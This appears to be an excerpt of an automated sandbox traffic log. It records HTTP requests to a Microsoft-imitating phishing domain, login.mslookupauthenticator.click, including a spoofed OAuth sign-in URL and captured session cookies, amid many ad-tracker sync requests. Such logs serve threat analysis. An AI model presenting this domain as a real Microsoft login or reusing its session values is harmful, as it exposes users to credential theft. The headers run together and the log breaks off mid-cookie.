https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA; MicrosoftApplicationsTelemetryDeviceId=c0addcc0-f568-4458-8b8f-a285f038f445; brcap=0; ai_session=p2ONN3yBwIyLq/oWfSPLo9\|1733839814743\|1733839814743; MSFPC=GUID=66515b7790244a858f61fc5d83bbd54d&HASH=6651&LV=202412&V=4&LU=1733839821279
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; receive-cookie-deprecation=1; uuid2=6105356000114051776
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=2c055873a58a6493ce40f14d6988a56e HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFoTDVnQUFBTWlXamdPSg== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmQ_f_CjFj0b1W5zdLfeUU4tsgnQqTkAloPZ2LWEBJBszA-nP0k9RGGFf3qhKo
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; CMPS=3631; CMPRO=3631
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=cd13dc8f-412b-40d0-bee1-a6fa43a74938\|1733839863
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=6105356000114051776; anj=dTM7k!M4.FErk#WF']wIg2IlkwPuH[!]tbPl1MwL(!R7qUY%iHP9%(`YWJX(EuDDkcV+g4prw!G<QG=%9sk?bIRwi:w9Ld1t)J26FiqPY/y@Yw#ttU8*z/+p
Source: global traffic	HTTP traffic detected: GET /sync?nid=adobe HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=2c055873a58a6493ce40f14d6988a56e HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; CMPS=3631; CMPRO=3631
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=cd13dc8f-412b-40d0-bee1-a6fa43a74938\|1733839863
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z1hL5gAAAMiWjgOJ&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KRTBCOOKIE_218=22978-Z1hL5gAAAMiWjgOJ&KRTB&23194-Z1hL5gAAAMiWjgOJ&KRTB&23209-Z1hL5gAAAMiWjgOJ&KRTB&23244-Z1hL5gAAAMiWjgOJ; PugT=1733839865
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z1hL5gAAAMiWjgOJ&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA; MicrosoftApplicationsTelemetryDeviceId=c0addcc0-f568-4458-8b8f-a285f038f445; brcap=0; ai_session=p2ONN3yBwIyLq/oWfSPLo9\|1733839814743\|1733839814743; MSFPC=GUID=66515b7790244a858f61fc5d83bbd54d&HASH=6651&LV=202412&V=4&LU=1733839821279
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; 